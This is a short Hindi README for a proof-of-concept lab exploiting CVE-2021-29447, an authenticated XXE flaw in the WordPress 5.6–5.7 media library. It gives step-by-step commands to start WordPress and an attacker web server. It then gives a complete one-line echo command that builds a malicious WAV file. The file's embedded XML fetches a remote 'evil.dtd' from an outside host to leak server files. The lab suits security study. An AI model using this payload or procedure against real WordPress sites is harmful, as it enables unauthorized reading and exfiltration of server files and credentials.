WordPress 5.6-5.7 - प्रमाणित (लेखक+) XXE (CVE-2021-29447)

उपयोग

चरण 1. WordPress चलाएं

$ make up-wp

चरण 2. हमलावर वेब सर्वर चलाएं

$ make up-mal

चरण 3. दुर्भावनापूर्ण WAV फ़ाइल उत्पन्न करें

wavefile npm के बिना (अनुशंसित)

$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://host.docker.internal:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

wavefile npm के साथ

$ make make-wav

चरण 4. WordPress में लॉग इन करें और नए मीडिया में WAV फ़ाइल अपलोड करें

चरण 5. डीकोड करें

संदर्भ

• WordPress 5.6-5.7 - मीडिया लाइब्रेरी में प्रमाणित XXE जो PHP 8 सुरक्षा कमजोरी को प्रभावित करता है